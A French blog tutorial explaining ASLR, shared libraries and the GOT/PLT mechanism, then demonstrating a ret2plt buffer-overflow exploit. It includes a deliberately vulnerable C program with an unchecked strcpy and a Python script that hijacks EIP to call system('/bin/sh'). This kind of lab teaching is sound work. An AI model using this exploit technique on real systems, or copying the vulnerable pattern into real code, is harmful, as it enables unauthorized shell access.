Exploitation – ByPass ASLR+NX with ret2plt

Continuons notre exploraiton du monde fascinant de l’exploitation de binaires en ajoutant une nouvelle protection, l’ASLR.

ASLR

L’Address Space Layout Randomization (ASLR) ou distribution aléatoire de l’espace d’adressage est une technique permettant de placer de façon aléatoire les zones de données dans la mémoire virtuelle. Il s’agit en général de la position du tas, de la pile, des bibliothèques. Ce procédé permet de limiter les effets des attaques de type dépassement de tampon par exemple.
Elle consiste à rendre la configuration des processus « aléatoire », en plaçant différents éléments de base à des endroits variables.
Contrairement aux autres, les systèmes utilisant l’ASLR configurent donc les processus de manière aléatoire, ce qui limite le fonctionnement des attaques se basant sur les structures fixes, connues et documentées des processus.
Différents éléments peuvent être randomisés : la plupart des systèmes définissent par exemple des adresses de piles ou de tas aléatoires.

Ah Wikipédia, que serais-je sans toi 🙂

En résumé, l’ASLR randomize plusieures parties du programme comme : le Heap, la Stack, les adresses des libs.

Pour se rendre compte de la présence de l’ASLR il suffit de faire :


shoxx@exploitme:~$ ldd binaire
 linux-gate.so.1 => (0xf772d000)
 libc.so.6 => /lib32/libc.so.6 (0xf7578000)
 /lib/ld-linux.so.2 (0x56654000)
shoxx@exploitme:~$ ldd binaire
 linux-gate.so.1 => (0xf7742000)
 libc.so.6 => /lib32/libc.so.6 (0xf758d000)
 /lib/ld-linux.so.2 (0x56641000)
shoxx@exploitme:~$ ldd binaire
 linux-gate.so.1 => (0xf77a1000)
 libc.so.6 => /lib32/libc.so.6 (0xf75ec000)
 /lib/ld-linux.so.2 (0x5656d000)

Grace au binaire ldd on peux constater que les adresses des libs changent a chaque chargement du programme, ce qui met en évidence la présence d’ASLR.

On peux aussi tout simplement :

shoxx@exploitme:~$ cat /proc/sys/kernel/randomize_va_space 
2 

Mais alors, comment exploiter un tel binaire ?
On va pour cela se glisser dans les entrailles du binaire.

Les librairies partagés:

Comme vous le savez surement déjà, les programmes que nous développons avec nos petites mains utilisent des fonctions qui sont présentes dans des librairies de fonctions, ce qui permet de ne pas avoir à réinventer le fonctionnement d’éllèments basiques à chaque fois.

Imaginez un peu devoir redéfinir la fonction printf à pour chaque programme que vous faites .. 

A la compilation on à deux choix :

Compiler notre binaire en « static » et embarquer toutes les librairies :

gcc -static -o staticbinary binary.c 

Compiler notre binaire en utilisant les libraires dites partagés ( ou shared pour les billingues )

 gcc -o sharedbinary binary.c 

Comparons les 2 résultats :


shoxx@exploitme:~$ ls -lah
-rw-r--r-- 1 shoxx shoxx 106 May 25 14:13 binary.c
-rwxr-xr-x 1 shoxx shoxx 8.4K May 25 14:14 sharedbinary
-rwxr-xr-x 1 shoxx shoxx 853K May 25 14:13 staticbinary

La différence de taille est quasi x10 !
La taille, l’économie de place sur nos pauvres petits disques dur est la raison principale qui a amené à la création des shared librairies.
Ce procédé apporte une « petite lenteur » car il faut charger les librairies / fonctions au démarages du programme et pour cela il faut d’abord les trouver ..
Mais ceci n’est pas un véritable problème et entre 10 instructions ASM supplémentaires et 845ko sur un simple Hello World le choix est vite fait.

GOT & PLT:

Comme je l’ai écrit précédement « il faut charger les librairies / fonctions « , ceci se fait via des mécanismes contenus dans la section .plt.
On peux se rendre compte de ceci en inspectant notre programme avant le démarage avec objdump :


shoxx@exploitme:~$ objdump -D sharedbinary
0804844d <main>:
....
 8048469: e8 a2 fe ff ff call 8048310 <strcpy@plt>
.... 
 8048475: e8 a6 fe ff ff call 8048320 <puts@plt>
.... 
 8048480: c3 ret

Regardons un peu plus en détail ces <fonction@plt> :


08048310 <strcpy@plt>
 8048310: ff 25 0c a0 04 08 jmp *0x804a00c
 8048316: 68 00 00 00 00 push $0x0
 804831b: e9 e0 ff ff ff jmp 8048300<_init+0x2c>

08048320 <puts@plt>
 8048320: ff 25 10 a0 04 08 jmp *0x804a010
 8048326: 68 08 00 00 00 push $0x8
 804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x2c>

C’est bien peu ! 3 petites instructions, c’est vraiment à ça que tiennent les programmes ?
Et bien .. Quasiment !

Que fait ce bloc d’instruction ?
Au premier passage d’EIP sur un call d’une adresse référencé dans la plt ( <fonction@plt> ) celui ci va voir dans la GOT si la fonction demandée est référencé, si ce n’est pas le cas le mécanisme interne à la plt permet d’insérer une référence vers la fonction dans la GOT. Au prochain passage d’EIP sur un call de la meme <fonction@plt> le même mécanisme se produit, sauf que cette fois, la fonction est déjà référencé dans la GOT. Pour mieux comprendre ce mécanisme je vous propose cet article.

Le rapport avec ASLR ?

ASLR va randomizer les adresses des librairies ( seulement celle de début, les fonctions des librairies sont inscrite à la suite ).
Cependant comme nous venons de le voir avec le mécanisme de GOT/PLT les adresses des fonctions sont résolues à l’éxecution du programme par des mécanismes internes.

Si le programme cible contient des fonctions interessantes ( tel que system ) on peux appliquer la même méthode que pour le bypass de NX en utilisant les adresses de la plt.

Exploit Me Please

Utilisons le programme cible suivant :

#include <stdio.h>
#include <string.h>

void win() {
 printf("Good place to be");
 system("/bin/sh");
 exit(0);
}

int main(int argc, char* argv[]) {
 int i=0;
 char buf[256];
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 return 0;
}&amp;amp;amp;lt;/pre&amp;amp;amp;gt;

Compilé comme suit :

 gcc -o vuln vuln.c 

Et pensez bien cette fois à activer l’ASLR

 echo 2 > /proc/sys/kernel/randomize_va_space

Le but ici va être de trouver l’adresse de la fonction system dans la section plt ainsi que de « /bin/sh » afin d’exploiter le buffer overflow causé par une mauvaise utilisation de strcpy.
Regardons le code de la fonction win :

shoxx@exploitme:~$ objdump -D vuln
...
080484dd &amp;amp;amp;lt;win&amp;amp;amp;gt;:
 80484dd: 55 push %ebp
 80484de: 89 e5 mov %esp,%ebp
 80484e0: 83 ec 18 sub $0x18,%esp
 80484e3: c7 04 24 e0 85 04 08 movl $0x80485e0,(%esp)
 80484ea: e8 81 fe ff ff call 8048370 <printf@plt>
 80484ef: c7 04 24 0a 86 04 08 movl $0x804860a,(%esp)
 80484f6: e8 a5 fe ff ff call 80483a0 <system@plt>
 80484fb: c7 04 24 00 00 00 00 movl $0x0,(%esp)
 8048502: e8 b9 fe ff ff call 80483c0 <exit@plt>
 ...

On reconnais les fonctions printf,system et exit. Celles ci sont référencés dans la plt.
Nous avons donc ici l’adresse de system qui sera : 0x80483a0

Il nous manque l’adresse de « /bin/sh », celle ci ne sera pas difficile à trouver.
Le mécanisme des fonctions est assez simple, les arguments sont poussés sur la stack avant que l’appel à la fonction ne se fasse.
Ainsi pour trouver l’adresse de la string « /bin/sh » il suffit de regarder de plus pret l’appel à la fonction system :


80484ef: c7 04 24 0a 86 04 08 movl $0x804860a,(%esp)
80484f6: e8 a5 fe ff ff call 80483a0 <system@plt>

Si on regarde à l’adresse 0x804860a on retrouve la string « /bin/sh ». Et l’aslr alors ? j’utilise une adresse fixe d’une string, celle ci est contenu dans une zone non randomizée.

Reprenons l’exploit de l’article précédant et adaptons le.


import struct
from subprocess import call

binsh=0x804860a
system=0x80483a0

args="a"*272 #on controle EIP à partir d'ici
args += struct.pack("I",system)
args += struct.pack("I",0xdeadbeef) #adresse de retour de la fonction system
args += struct.pack("I",binsh)

call(['./vuln',args])

ret2plt

And voila 🙂 Nous avons maintenant un shell via l’exploitation du binaire et bypassé les protections ASLR + NX.
Cette méthode, ret2plt, n’est pas la seule permettant de contourner l’ASLR, elle permet de comprendre les fonctionnements de la GOT et la PLT.

Un commentaire on "Exploitation – ByPass ASLR+NX with ret2plt"

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *